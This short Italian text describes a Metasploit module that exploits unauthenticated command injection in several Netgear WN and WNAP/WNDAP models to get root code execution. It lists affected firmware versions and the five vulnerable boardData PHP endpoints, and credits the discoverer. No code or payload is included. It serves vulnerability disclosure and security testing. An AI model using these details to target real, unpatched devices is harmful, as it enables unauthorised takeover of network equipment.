Modulo Metasploit che sfrutta l'iniezione di comandi non autenticata in diversi modelli di router Netgear per ottenere l'esecuzione remota di codice con privilegi di root.
Il modulo sfrutta una vulnerabilità di esecuzione arbitraria di comandi non autenticata in Netgear WN604 precedente alla 3.3.3 e in WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360 e WNDAP660 precedente alla 3.5.5.0. La vulnerabilità si verifica nel modo in cui il router gestisce le richieste POST da (1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php e (5) boardDataWW.php. La vulnerabilità è stata scoperta da Daming Dominic Chen, creatore di FIRMADYNE (https://github.com/firmadyne/firmadyne).
